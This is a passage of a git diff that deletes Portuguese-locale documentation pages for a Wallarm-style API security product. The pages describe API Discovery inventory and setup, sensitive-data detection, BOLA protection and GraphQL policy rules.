(BOLA)](../attacks-vulns-list.md#broken-object-level-authorization-bola) exploit the vulnerability of the same name. This vulnerability allows an attacker to access an object by its identifier via an API request and either read or modify its data bypassing an authorization mechanism. - -Potential targets of the BOLA attacks are endpoints with variability. Wallarm can automatically discover and protect such endpoints among the ones explored by the [API Discovery](overview.md) module. - -To enable automatic BOLA protection, proceed to Wallarm Console → [**BOLA protection**](../admin-en/configuration-guides/protecting-against-bola.md) and turn the switch to the enabled state: - -![BOLA trigger](../images/user-guides/bola-protection/trigger-enabled-state.png) - -Each protected API endpoint will be highlighted with the corresponding icon in the API inventory, e.g.: - -![BOLA trigger](../images/about-wallarm-waf/api-discovery/endpoints-protected-against-bola.png) - -You can filter API endpoints by the BOLA auto protection state. The corresponding parameter is available under the **Others** filter. diff --git a/docs/pt-BR/api-discovery/dashboard.md b/docs/pt-BR/api-discovery/dashboard.md deleted file mode 100644 index e952652c63..0000000000 --- a/docs/pt-BR/api-discovery/dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-discovery/dashboard.md" \ No newline at end of file diff --git a/docs/pt-BR/api-discovery/exploring.md b/docs/pt-BR/api-discovery/exploring.md deleted file mode 100644 index c585f41b18..0000000000 --- a/docs/pt-BR/api-discovery/exploring.md +++ /dev/null @@ -1,139 +0,0 @@ -# Exploring API Inventory - -As soon as the [API Discovery](overview.md) module has built the catalog of your endpoints (your API inventory), you can explore it in the **API Discovery** section of Wallarm Console. Learn from this article how to go through the discovered data. - -## Endpoints - -Explore your discovered API inventory using the **API Discovery** section in the [US](https://us1.my.wallarm.com/api-discovery) or [EU](https://my.wallarm.com/api-discovery) Cloud. - -![Endpoints discovered by API Discovery](../images/about-wallarm-waf/api-discovery/discovered-api-endpoints.png) - -Each time you open the **API Discovery** section, you see all discovered endpoints and their [changes](track-changes.md) for the last week. With **Changes since** filter, you can change `Last week` to any other period. - -By default, endpoints are sorted by host/endpoint names (and grouped by hosts). If you sort by **Hits** or **Risk**, grouping goes away - to get back to the default, click hosts/endpoint column again. - -### External vs. internal - -The endpoints accessible from the external network are the main attack directions. Thus, it is important to see what is available from the outside and pay attention to these endpoints in the first place. - -Wallarm automatically splits discovered APIs to external and internal. The host with all its endpoints is considered to be internal if it is located on: - -* A private IP or local IP address -* A generic top-level domain (for example: localhost, dashboard, etc.) - -In the remaining cases the hosts are considered to be external. - -By default, a list with all API hosts (external and internal) is displayed. In the built API inventory, you can view your internal and external APIs separately. To do this, click **External** or **Internal**. - -### Filtering - -Among a wide range of API endpoint filters, you can choose the ones corresponding to your analysis purpose, e.g.: - -* Only attacked endpoints that you can sort by the number of hits. -* Find the most vulnerable endpoints characterized by processing sensitive data and active vulnerabilities of the high [risk level](risk-score.md). Exploiting vulnerabilities of a high risk level allows attackers to perform many malicious actions with the system including stealing sensitive data that the endpoint processes/stores. -* Find [rogue endpoints](rogue-api.md): shadow, orphan and zombie. -* Find the endpoints that have been changed or newly discovered in the last week and that process PII data. This kind of request can help you to stay up to date with critical [changes in your APIs](track-changes.md). -* Find the endpoints being used to upload data to your server by the PUT or POST calls. Since such endpoints are a frequent attack target, they should be well secured. Using this kind of request you can check that endpoints are known to the team and are well secured from attacks. -* Find the endpoints processing customers' bank card data. With this request, you can check that sensitive data is processed only by secured endpoints. -* Find the endpoints of a deprecated API version (e.g. by searching `/v1`) and make sure that they are not used by clients. - -All filtered data can be exported in the OpenAPI v3 for additional analysis. - -## Endpoint details - -By clicking the endpoint, you can also find the endpoint details, including request statistics, headers and parameters of requests and responses with the relevant data types: - -![Request parameters discovered by API Discovery](../images/about-wallarm-waf/api-discovery/discovered-request-params-4.10.png) - -Each request/response parameter information includes: - -* Parameter name and the part of request/response this parameter belongs to -* Information about parameter changes (new, unused) -* Presence and type of sensitive data transmitted by this parameter, including: - - * Technical data like IP and MAC addresses - * Login credentials like secret keys and passwords - * Financial data like bank card numbers - * Medical data like medical license number - * Personally identifiable information (PII) like full name, passport number or SSN - -* [Type/format](#format-and-data-type) of data sent in this parameter -* Date and time when parameter information was last updated - -!!! info "Availability of response parameters" - Response parameters are only available when using node 4.10.1 or higher. - -### Format and data type - -In the **Type** column, Wallarm indicates the data format identified through traffic analysis or, if not specific, a general data type. - -Wallarm attempts to detect various data formats such as `Int32`, `Int64`, `Float`, `Double`, `Datetime`, `IPv4`/`IPv6`, among others. If a value does not conform to any recognized data format, Wallarm classifies it under a general data type, such as `Integer`, `Number`, `String`, or `Boolean`. - -This data allows checking that values of the expected format are passed in each parameter. Inconsistencies can be the result of an attack or a scan of your API, for example: - -* The `String` values ​​are passed to the field with `IP` -* The `Double` values are passed to the field where there should be a value no more than `Int32` - -### Variability - -URLs can include diverse elements, such as ID of user, like: - -* `/api/articles/author/author-a-0001` -* `/api/articles/author/author-a-1401` -* `/api/articles/author/author-b-1401` - -The **API Discovery** module unifies such elements into the `{parameter_X}` format in the endpoint paths, so for the example above you will not have 3 endpoints, but instead there will be one: - -* `/api/articles/author/{parameter_1}` - -Click the endpoint to expand its parameters and view which type was automatically detected for the diverse parameter. - -![API Discovery - Variability in path](../images/about-wallarm-waf/api-discovery/api-discovery-variability-in-path-4.10.png) - -Note that the algorithm analyzes the new traffic. If at some moment you see addresses, that should be unified but this did not happen yet, give it a time. As soon as more data arrives, the system will unify endpoints matching the newly found pattern with the appropriate amount of matching addresses. - -## Endpoint activities - -### Attacks - -Number of attacks on API endpoints for the last 7 days are displayed in the **Hits** column. You can request displaying only attacked endpoints by selecting in filters: **Others** → **Attacked endpoints**. - -To see attacks to some endpoint, click number in the **Hits** column: - -![API endpoint - open events](../images/about-wallarm-waf/api-discovery/endpoint-open-events.png) - -The **Attacks** section will be displayed with the [filter applied](../user-guides/search-and-filters/use-search.md): - -``` -attacks last 7 days endpoint_id: -``` - -You can also copy some endpoint URL to the clipboard and use it to search for the events. To do this, in this endpoint menu select **Copy URL**. - -### All activities - -The number of all requests related to the endpoint is displayed in the **Requests** column. - -## Creating rules for API endpoints - -You can quickly create a new [custom rule](../user-guides/rules/rules.md) from any endpoint of API inventory: - -1. In this endpoint menu select **Create rule**. The create rule window is displayed. The endpoint address is parsed into the window automatically. -1. In the create rule window, specify rule information and then click **Create**. - -![Create rule from endpoint](../images/about-wallarm-waf/api-discovery/endpoint-create-rule.png) - -## Exporting API inventory data - -The API Discovery UI provides you with an option to export the current filtered list of endpoints as the [OpenAPI v3](https://spec.openapis.org/oas/v3.0.0) specification or CSV file. - -To export, in Wallarm Console → **API Discovery**, use the **OAS/CSV** option. Consider the following: - -* For **OAS**, Wallarm returns the `swagger.json` with filtered endpoints. You can also use the **Download OAS** button in an individual endpoint menu - - By utilizing the downloaded specification with other applications like Postman, you can conduct endpoints' vulnerability and other tests. In addition, it allows for a closer examination of the endpoints' capabilities to uncover the processing of sensitive data and the presence of undocumented parameters. - -* For **CSV**, Wallarm returns filtered endpoints data in a simple text comma-separated format, making it easy to export it into other programs. - -!!! warning "API host information in downloaded Swagger file" - If a discovered API inventory contains several API hosts, endpoints from all API hosts will be included in the downloaded file. Currently, the API host information is not included in the file. diff --git a/docs/pt-BR/api-discovery/overview.md b/docs/pt-BR/api-discovery/overview.md deleted file mode 100644 index c1c0bd5284..0000000000 --- a/docs/pt-BR/api-discovery/overview.md +++ /dev/null @@ -1,117 +0,0 @@ -# API Discovery Overview - -The **API Discovery** module of the Wallarm platform builds your application REST API inventory based on the actual API usage. The module continuously analyzes the real traffic requests and builds the API inventory based on the analysis results. - -The API built inventory includes the following elements: - -* API endpoints -* Request methods (GET, POST, and others) -* Required and optional GET, POST, and header parameters of requests and responses including: - * [Type/format](./exploring.md#format-and-data-type) of data sent in each parameter - * Date and time when parameter information was last updated - -!!! info "Availability of response parameters" - Response parameters are only available when using node 4.10.1 or higher. - -
              - -
              - -
              -
              - -## Issues addressed by API Discovery - -**Building an actual and complete API inventory** is the main issue the API Discovery module is addressing. - -Keeping API inventory up-to-date is a difficult task. There are multiple teams that use different APIs and it is a common case that different tools and processes are used to produce the API documentation. As a result, companies struggle in both understanding what APIs they have, what data they expose and having up-to-date API documentation. - -Since the API Discovery module uses the real traffic as a data source, it helps to get up-to-date and complete API documentation by including to the API inventory all endpoints that are actually processing the requests. - -**As you have your API inventory discovered by Wallarm, you can**: - -* Have a full visibility into the whole API estate including the list of [external and internal](exploring.md#external-vs-internal) APIs. -* See [what data](exploring.md#endpoint-details) is going into and out of the APIs. -* Get a list of endpoints with the open vulnerabilities. -* Get a list of the threats that occurred over the past 7 days per any given API endpoint. -* Filter out only attacked APIs, sort them by number of hits. -* Filter APIs that consume and carry [sensitive data](#sensitive-data-detection). -* View visualized summary on your API inventory structure and problems on a handy [dashboard](dashboard.md). -* Understand which endpoints are [most likely](risk-score.md) to be an attack target. -* Find [shadow, orphan and zombie APIs](rogue-api.md). -* [Track changes](track-changes.md) in API that took place within the selected period of time. -* Filter API endpoints by the [BOLA auto protection state](bola-protection.md). -* Provide your developers with [access](../user-guides/settings/users.md#user-roles) to the built API inventory reviewing and downloading. - -## How does API Discovery work? - -API Discovery relies on request statistics and uses sophisticated algorithms to generate up-to-date API specs based on the actual API usage. - -### Traffic processing - -API Discovery uses a hybrid approach to conduct analysis locally and in the Cloud. This approach enables a [privacy-first process](#security-of-data-uploaded-to-the-wallarm-cloud) where request data and sensitive data are kept locally while using the power of the Cloud for the statistics analysis: - -1. API Discovery analyzes legitimate traffic locally. Wallarm analyzes the endpoints to which requests are made and what parameters are passed and returned. -1. According to this data, statistics are made and sent to the Cloud. -1. Wallarm Cloud aggregates the received statistics and builds an [API description](exploring.md) on its basis. - - !!! info "Noise detection" - Rare or single requests are [determined as noise](#noise-detection) and not included in the API inventory. - -### Noise detection - -The API Discovery module bases noise detection on the two major traffic parameters: - -* Endpoint stability - at least 5 requests must be recorded within 5 minutes from the moment of the first request to the endpoint. -* Parameter stability - the occurrence of the parameter in requests to the endpoint must be more than 1 percent. - -The API inventory will display the endpoints and parameters that exceeded these limits. The time required to build the complete API inventory depends on the traffic diversity and intensity. - -Also, the API Discovery performs filtering of requests relying on the other criteria: - -* Only those requests to which the server responded in the 2xx range are processed. -* Requests that do not conform to the design principles of the REST API are not processed. This is done by controlling the `Content-Type` header parameter of responses: if the `Content-Type` parameter does not contain `application` as a type and `json` as a subtype, such request is considered to be non-REST API and is filtered out. Example of REST API response: `Content-Type: application/json;charset=utf-8`. If the parameter does not exist, API Discovery analyzes the request. -* Standard fields such as `Accept` and alike are discarded. - -### Sensitive data detection - -API Discovery detects and highlights sensitive data consumed and carried by your APIs: - -* Technical data like IP and MAC addresses -* Login credentials like secret keys and passwords -* Financial data like bank card numbers -* Medical data like medical license number -* Personally identifiable information (PII) like full name, passport number or SSN - -API Discovery provides the ability to [configure](setup.md#customizing-sensitive-data-detection) the detection process and add your own sensitive data patterns (requires node version 5.0.3 or higher). - -### Security of data uploaded to the Wallarm Cloud - -API Discovery analyzes most of the traffic locally. The module sends to the Wallarm Cloud only the discovered endpoints, parameter names and various statistical data (time of arrival, their number, etc.) All data is transmitted via a secure channel: before uploading the statistics to the Wallarm Cloud, the API Discovery module hashes the values of request parameters using the [SHA-256](https://en.wikipedia.org/wiki/SHA-2) algorithm. - -On the Cloud side, hashed data is used for statistical analysis (for example, when quantifying requests with identical parameters). - -Other data (endpoint values, request methods, and parameter names) is not hashed before being uploaded to the Wallarm Cloud, because hashes cannot be restored to their original state which would make building API inventory impossible. - -!!! warning "Important" - Wallarm does not send the values that are specified in the parameters to the Cloud. Only the endpoint, parameter names and statistics on them are sent. - -## API Discovery demo video - -Watch API Discovery demo video: - -
              - -
              - -## Checking API Discovery in playground - -To try the module even before signing up and deploying the node to your environment, explore [API Discovery in Wallarm Playground](https://tour.playground.wallarm.com/api-discovery/?utm_source=wallarm_docs_apid). - -In Playground, you can access the API Discovery view like it is filled with real data and thus learn and try out how the module works, and get some useful examples of its usage in the read-only mode. - -![API Discovery – Sample Data](../images/about-wallarm-waf/api-discovery/api-discovery-sample-data.png) - -## Enabling and configuring API Discovery - -To start using API Discovery, enable and configure it as described in [API Discovery Setup](setup.md). diff --git a/docs/pt-BR/api-discovery/risk-score.md b/docs/pt-BR/api-discovery/risk-score.md deleted file mode 100644 index 1c1aa13915..0000000000 --- a/docs/pt-BR/api-discovery/risk-score.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-discovery/risk-score.md" \ No newline at end of file diff --git a/docs/pt-BR/api-discovery/rogue-api.md b/docs/pt-BR/api-discovery/rogue-api.md deleted file mode 100644 index 77d709c6cb..0000000000 --- a/docs/pt-BR/api-discovery/rogue-api.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-discovery/rogue-api.md" \ No newline at end of file diff --git a/docs/pt-BR/api-discovery/sbf.md b/docs/pt-BR/api-discovery/sbf.md deleted file mode 100644 index b9098f6eeb..0000000000 --- a/docs/pt-BR/api-discovery/sbf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-discovery/sbf.md" \ No newline at end of file diff --git a/docs/pt-BR/api-discovery/setup.md b/docs/pt-BR/api-discovery/setup.md deleted file mode 100644 index efdde6c4b7..0000000000 --- a/docs/pt-BR/api-discovery/setup.md +++ /dev/null @@ -1,133 +0,0 @@ -# API Discovery Setup - -This article describes how to enable, configure and debug the [API Discovery](overview.md) module. - -## Enable - -API Discovery is included in all [forms](../installation/supported-deployment-options.md) of the Wallarm node installation, except for the Debian 11.x and Ubuntu 22.04 individual packages. During node deployment, it installs the API Discovery module but keeps it disabled by default. - -To enable and run API Discovery correctly: - -1. If you install node from the individual packages, make sure your Wallarm node is of the [supported version](../updating-migrating/versioning-policy.md#version-list). - - To ensure that you always have access to the full range of the API Discovery features, it is recommended to check for updates to the `wallarm-appstructure` package on a regular basis as follows: - - - === "Debian Linux" - ```bash - sudo apt update - sudo apt install wallarm-appstructure - ``` - === "RedHat Linux" - ```bash - sudo yum update - sudo yum install wallarm-appstructure - ``` -1. Make sure your [subscription plan](../about-wallarm/subscription-plans.md#waap-and-advanced-api-security) includes **API Discovery**. To change the subscription plan, please send a request to [sales@wallarm.com](mailto:sales@wallarm.com). -1. In Wallarm Console → **API Discovery** → **Configure API Discovery**, enable traffic analysis with API Discovery. - -Once the API Discovery module is enabled, it will start the traffic analysis and API inventory building. The API inventory will be displayed in the **API Discovery** section of Wallarm Console. - -## Configure - -By clicking the **Configure API Discovery** button in the **API Discovery** section, you proceed to the API discovery fine-tuning options, such as choosing applications for API discovery and customizing the risk score calculation. - -### Choosing applications for API Discovery - -You may enable/disable API Discovery for all applications or only the selected ones: - -1. Ensure that the applications are added as described in the [Setting up applications](../user-guides/settings/applications.md) article. - - If the applications are not configured, structures of all APIs are grouped in one tree. - -1. Enable API Discovery for the required applications in Wallarm Console → **API Discovery** → **Configure API Discovery**. - - ![API Discovery – Settings](../images/about-wallarm-waf/api-discovery/api-discovery-settings.png) - -When you add a new application in **Settings** → **[Applications](../user-guides/settings/applications.md)**, it is automatically added to the list of applications for API discovery in the **disabled** state. - -### Customizing risk score calculation - -You can configure the weight of each factor in [risk score](risk-score.md) calculation and calculation method. - -### Customizing sensitive data detection - -API Discovery detects sensitive data in requests and responses. To make sensitive data detection fully comply with your company's specific needs and industry-specific regulations such as GDPR, HIPAA, PCI DSS, etc., API Discovery provides the ability to fine-tune the detection process (requires node version 5.0.3 or higher). Customization empowers you to meet your company's unique data protection obligations. Additionally, if any proprietary or specialized sensitive data elements are presented in your data flows, you will benefit from the ability to define custom regular expressions for their precise identification. - -Sensitive data detection is configured with the set **sensitive data patterns** - each pattern defines specific sensitive data and settings for its search. API Discovery goes with the set of default patterns. You can modify default patterns and add your own in Wallarm Console → **API Discovery** → **Configure API Discovery** → **Sensitive data**. - -You can modify or disable the default (out-of-box) patterns and quickly restore them to initial settings if necessary. Your own patterns can be created, modified, disabled and deleted at any moment. - -**Confidence scores** - -You can use patterns and context words to configure your sensitive data detection. Choose the confidence scores from `0.1` to `1.0` for your patterns and context words to specify how confident you are that matching this expression or the presence of the string or word next to the sensitive data means the presence of sensitive data. Use appropriate scores to detect more real entities and produce fewer false positives. - -The sensitive data is detected if score threshold of `0.3` is reached or exceeded: the context word scores are summed up, from the patterns the biggest is taken. See examples below for better understanding. - -You should adjust confidence scores after trying them on actual traffic data. - -**Pattern-based detection** - -Use a regular expression in [PCRE](https://www.pcre.org/) format to match the expected sensitive data value. When you use a regular expression, detection becomes much more precise. You can use several patterns with different scores. If any is matched, the sensitive data is detected. - -Patterns are suitable for fixed-length tokens, IDs, and URIs. - -**Context words** - -Wallarm looks at the words around the suspected sensitive data that match the pattern. If any of the context words is found, it boosts the resulting confidence score. The context can come from URL path, query parameter name, JSON keys, and other parameters next to it. - -![API Discovery – Settings - Sensitive data](../images/about-wallarm-waf/api-discovery/api-discovery-settings-sd.png) - -For example, on the picture above, the sensitive data will be detected: - -* Immediately if the match to `JWT` or `AWS access key ID` pattern is found. -* If the match to `AWS key (weak)` is found, by itself it will not result "yes" (score of `0.1` is below threshold of `0.3`). -* But with the context words `access` (`0.1`) and `api` (`0.1`) the sum becomes `0.3` and sensitive data is detected. -* If we mark `auth` as mandatory, the situation changes: in absence of `auth`, scores of presented `access` and `api` will be ignored and cannot boost the pattern's score. - -**Context word only-based detection** - -If you specify context words without patterns, Wallarm decides on sensitive data presence based on the presence of the words. The more the confidence scores sum, the more likely the parameter will be marked as having your described sensitive data. - -For some context-only searches, it is necessary to declare some words as **mandatory**: if the mandatory word is not presented in the value's context, the parameter does not contain sensitive data. - -Example: personal_name - -Context words: - -* name -* first -* middle - -We must match `middle_name,` but not `name` or `middle`. So, we set a score for `name` to `0.1` so we will not match `name`. But we must give `middle` a big score of `0.5` because "middle_name" is a strong combination. - -To prevent us from detecting "middle" without `name,` we mark `name` as mandatory for an entity. If `name` is not found, no sensitive data is detected. - -![API Discovery – Settings - Sensitive data - Creating custom pattern](../images/about-wallarm-waf/api-discovery/api-discovery-settings-sd-own-pattern.png) - -## Debug - -To get and analyze the API Discovery logs, you can use the following methods: - -* If the Wallarm node is installed from individual DEM/RPM packages: run the standard utility **journalctl** or **systemctl** inside the instance. - - === "journalctl" - ```bash - journalctl -u wallarm-appstructure - ``` - === "systemctl" - ```bash - systemctl status wallarm-appstructure - ``` -* If the Wallarm node is deployed from the Docker container, Amazon Machine Image (AMI) or Google Cloud Machine Image: read the log file `/opt/wallarm/var/log/wallarm/appstructure-out.log` inside the container. -* If the Wallarm node is deployed as the Kubernetes Ingress controller: check the status of the pod running the Tarantool and `wallarm-appstructure` containers. The pod status must be **Running**. - - ```bash - kubectl get po -l app=nginx-ingress,component=controller-wallarm-tarantool - ``` - - Read the logs of the `wallarm-appstructure` container: - - ```bash - kubectl logs -l app=nginx-ingress,component=controller-wallarm-tarantool -c wallarm-appstructure - ``` diff --git a/docs/pt-BR/api-discovery/track-changes.md b/docs/pt-BR/api-discovery/track-changes.md deleted file mode 100644 index f2bb9eb5a5..0000000000 --- a/docs/pt-BR/api-discovery/track-changes.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-discovery/track-changes.md" \ No newline at end of file diff --git a/docs/pt-BR/api-protection/business-logic-abuse-detection.md b/docs/pt-BR/api-protection/business-logic-abuse-detection.md deleted file mode 100644 index f6f5f81dd0..0000000000 --- a/docs/pt-BR/api-protection/business-logic-abuse-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-protection/business-logic-abuse-detection.md" \ No newline at end of file diff --git a/docs/pt-BR/api-protection/file-upload-restriction.md b/docs/pt-BR/api-protection/file-upload-restriction.md deleted file mode 100644 index c0677ea753..0000000000 --- a/docs/pt-BR/api-protection/file-upload-restriction.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-protection/file-upload-restriction.md" \ No newline at end of file diff --git a/docs/pt-BR/api-protection/graphql-rule.md b/docs/pt-BR/api-protection/graphql-rule.md deleted file mode 100644 index f90c288450..0000000000 --- a/docs/pt-BR/api-protection/graphql-rule.md +++ /dev/null @@ -1,94 +0,0 @@ -[api-discovery-enable-link]: ../api-discovery/setup.md#enable - -# GraphQL API Protection - -Wallarm detects regular attacks (SQLi, RCE, [etc.](../attacks-vulns-list.md)) in GraphQL by default even under the basic [WAAP](../about-wallarm/subscription-plans.md#waap-and-advanced-api-security) subscription plan. However, some aspects of the protocol allow implementing [GraphQL specific](../attacks-vulns-list.md#graphql-attacks) attacks related to excessive information exposure and DoS. This document describes how to use Wallarm to protect your APIs from these attacks by setting **GraphQL policy** - a set of limits for the GraphQL requests. - -Being the extended protection, GraphQL API Protection is the part of the advanced [API Security](../about-wallarm/subscription-plans.md#waap-and-advanced-api-security) subscription plan. When plan is purchased, start protection by setting your organization's GraphQL policy in the **Detect GraphQL attacks** [rule](../user-guides/rules/rules.md) (requires node 4.10.4 of higher). - -## Supported GraphQL formats - -GraphQL queries are typically sent as HTTP POST requests to a GraphQL server endpoint. The request includes a `CONTENT-TYPE` header to specify the media type of the body sent to the server. For `CONTENT-TYPE`, Wallarm supports: - -* commonly used options: `application/json` and `application/graphql` -* options that can also occur: `text/plain` and `multipart/form-data` - -GraphQL queries can be also sent as HTTP GET requests. In such case, the query is included as a query parameter in the URL. While GET requests can be used for GraphQL queries, it's less common than the POST requests, especially for the more complex queries. The cause of that is that GET requests are typically used for idempotent operations (i.e., operations that can be repeated without different outcomes), and they have length restrictions that can be problematic for longer queries. - -Wallarm supports both POST and GET HTTP methods for GraphQL requests. - -## Creating and applying the rule - -GraphQL rule is recommended to be created for the GraphQL specific endpoints. Creating it as a [default](../user-guides/rules/rules.md#default-rules) rule for the entire system is not recommended. - -To set and apply GraphQL policy: - ---8<-- "../include/rule-creation-initial-step.md" -1. Choose **Mitigation controls** → **GraphQL API protection**. -1. In **If request is**, [describe](../user-guides/rules/rules.md#rule-branches) endpoint URI to apply the rule to and other conditions: - - * URI of your GraphQL endpoint (in the route, usually contains `/graphql`) - * POST or GET method - see [Supported GraphQL formats](#supported-graphql-formats); leave method unspecified if you want the rule to set the same limitations both for POST and GET requests - * Set the `CONTENT-TYPE` header value - see [Supported GraphQL formats](#supported-graphql-formats) - - Note that you can set when the rule must be applied using different condition combinations, for example, you can use URI and leave other conditions unspecified or set `CONTENT-TYPE` header to `application/graphql` without specifying any endpoint. You can also create several rules with different conditions and set different limits and reactions in them. - -1. Set thresholds for GraphQL requests in accordance with your traffic metrics (if left empty/unselected, no limitation is applied by this criteria): - - * **Maximum total query size in kilobytes** - sets the upper limit for the size of an entire GraphQL query. It's crucial for preventing Denial of Service (DoS) attacks that exploit server resources by submitting excessively large queries. - * **Maximum value size in kilobytes** - sets the maximum size for any individual value (whether a variable or query parameter) within a GraphQL query. This limit helps mitigate attacks that attempt to overwhelm the server through Excessive Value Length, where attackers send requests with overly long string values for variables or arguments. - * **Maximum query depth** - determines the maximum allowed depth for a GraphQL query. By limiting query depth, the server can avoid performance issues or resource exhaustion from maliciously crafted, deeply nested queries. - * **Maximum number of aliases** - sets the limit on the number of aliases that can be used in a single GraphQL query. Restricting the number of aliases prevents Resource Exhaustion and DoS attacks that exploit alias functionality to create overly complex queries. - * **Maximum batched queries** - caps the number of batched queries that can be sent in a single request. This parameter is essential for thwarting batching attacks, where attackers combine multiple operations into a single request to bypass security measures like rate limiting. - * **Block/register introspection queries** - when enabled, the server will treat introspection requests—which can reveal the structure of your GraphQL schema—as potential attacks. Disabling or monitoring introspection queries is a crucial measure for protecting the schema from being exposed to attackers. - * **Block/register debug requests** - enabling this option means that requests containing the debug mode parameter will be considered potential attacks. This setting is useful for catching instances where debug mode is inadvertently left enabled in production, preventing attackers from accessing excessive error reporting messages that could reveal sensitive information about the backend. - - By default, a policy sets maximum POST request query size to 100 KB, value size to 10 KB, query depth and batched query limits to 10, aliases to 5, plus deny introspection and debug queries as displayed on the screenshot (note that you can change default values to your own considering statistics of your common legitimate GraphQL queries): - - ![GraphQL thresholds](../images/user-guides/rules/graphql-rule.png) - -Once created, the rule may be at any moment temporarily disabled and later re-enabled again using the **Mode** parameter of the rule. - -## Reaction to policy violation - -Reaction to the policy violation is defined by the [filtration mode](../admin-en/configure-wallarm-mode.md) applied to the endpoints targeted by the rule. - -If you are using Wallarm in blocking mode and want to safely test GraphQL rules, you can easily enable monitoring mode for `/graphql` routes by creating a **Set filtration mode** rule [specifically](../admin-en/configure-wallarm-mode.md#endpoint-targeted-filtration-rules-in-wallarm-console) for your GraphQL route. Note that this rule will apply to all attacks, including SQLi, XSS, etc., so it is not recommended to leave it for a long time. - -![GraphQL policy blocking action](../images/user-guides/rules/graphql-rule-2-action.png) - -Consider that you node configuration via the [`wallarm_mode_allow_override` directive](../admin-en/configure-wallarm-mode.md#prioritization-of-methods) may be set to ignore rules created in Wallarm Console. If this is a case, [explore](../admin-en/configure-wallarm-mode.md#configuration-methods) and use other ways to change the filtration mode. - -## Exploring GraphQL attacks - -You can explore GraphQL policy violations (GraphQL attacks) in Wallarm Console → **Attacks** section. Use the GraphQL specific [search keys](../user-guides/search-and-filters/use-search.md#graphql-tags) or corresponding filters: - -![GraphQL attacks](../images/user-guides/rules/graphql-attacks.png) - -### Setting policy for your GraphQL endpoints to block attacks - -Let us say you want to set limits for the requests to your application GraphQL endpoints located under `example.com/graphql` to block all potential [GraphQL specific](../attacks-vulns-list.md#graphql-attacks) attacks to them. Filtration mode for `example.com` is `monitoring`. - -To do so: - -1. Set the **Detect GraphQL attacks** rule as displayed on the screenshot (note that these are the example values - for the real-life rules you should define your own values considering statistics of your common legitimate GraphQL queries): - - ![GraphQL Policy for your endpoints](../images/user-guides/rules/graphql-rule-1.png) - -1. As filtration mode for `example.com` is `monitoring` and you want `block` for its GraphQL endpoints, configure the **Set filtration mode** rule as displayed on the screenshot: - - ![GraphQL policy blocking action](../images/user-guides/rules/graphql-rule-1-action.png) - -### Altering policy for specific endpoints - -Continuing the [previous](#setting-policy-for-your-graphql-endpoints-to-block-attacks) example, let us say you want to set stricter limits for `example.com/graphql/v2` child endpoint. As limits are stricter, before blocking anything, they should be tested in the `monitoring` mode. - -To do so: - -1. Set the **Detect GraphQL attacks** rule as displayed on the screenshot (note that these are the example values - for the real-life rules you should define your own values considering statistics of your common legitimate GraphQL queries): - - ![GraphQL stricter policy for child endpoint](/../images/user-guides/rules/graphql-rule-2.png) - -1. As filtration mode for `example.com/graphql` is `block` and you want `monitoring` for `example.com/graphql/v2`, configure the **Set filtration mode** rule as displayed on the screenshot: - - ![GraphQL policy blocking action](../images/user-guides/rules/graphql-rule-2-action.png) diff --git a/docs/pt-BR/api-sessions/blocking.md b/docs/pt-BR/api-sessions/blocking.md deleted file mode 100644 index 84044f2fa5..0000000000 --- a/docs/pt-BR/api-sessions/blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-sessions/blocking.md" \ No newline at end of file diff --git a/docs/pt-BR/api-sessions/exploring.md b/docs/pt-BR/api-sessions/exploring.md deleted file mode 100644 index c2e6e14f00..0000000000 --- a/docs/pt-BR/api-sessions/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-sessions/exploring.md" \ No newline at end of file diff --git a/docs/pt-BR/api-sessions/overview.md b/docs/pt-BR/api-sessions/overview.md deleted file mode 100644 index 83a28dff32..0000000000 --- a/docs/pt-BR/api-sessions/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-sessions/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/api-sessions/setup.md b/docs/pt-BR/api-sessions/setup.md deleted file mode 100644 index 71a1b84aac..0000000000 --- a/docs/pt-BR/api-sessions/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api-sessions/setup.md" \ No newline at end of file diff --git a/docs/pt-BR/api-specification-enforcement/overview.md b/docs/pt-BR/api-specification-enforcement/overview.md deleted file mode 100644 index 76f43d7179..0000000000 --- a/docs/pt-BR/api-specification-enforcement/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-specification-enforcement/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/api-specification-enforcement/setup.md b/docs/pt-BR/api-specification-enforcement/setup.md deleted file mode 100644 index f2f2f1ebaf..0000000000 --- a/docs/pt-BR/api-specification-enforcement/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-specification-enforcement/setup.md" \ No newline at end of file diff --git a/docs/pt-BR/api-specification-enforcement/viewing-events.md b/docs/pt-BR/api-specification-enforcement/viewing-events.md deleted file mode 100644 index 9e0c87fae3..0000000000 --- a/docs/pt-BR/api-specification-enforcement/viewing-events.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-specification-enforcement/viewing-events.md" \ No newline at end of file diff --git a/docs/pt-BR/api/overview.md b/docs/pt-BR/api/overview.md deleted file mode 100644 index a735e6c163..0000000000 --- a/docs/pt-BR/api/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/api/request-examples.md b/docs/pt-BR/api/request-examples.md deleted file mode 100644 index 41d5a108c2..0000000000 --- a/docs/pt-BR/api/request-examples.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/api/request-examples.md" \ No newline at end of file diff --git a/docs/pt-BR/attacks-vulns-list.md b/docs/pt-BR/attacks-vulns-list.md deleted file mode 100644 index 52dcb95b49..0000000000 --- a/docs/pt-BR/attacks-vulns-list.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/attacks-vulns-list.md" \ No newline at end of file diff --git a/docs/pt-BR/demo-videos/api-abuse-prevention.md 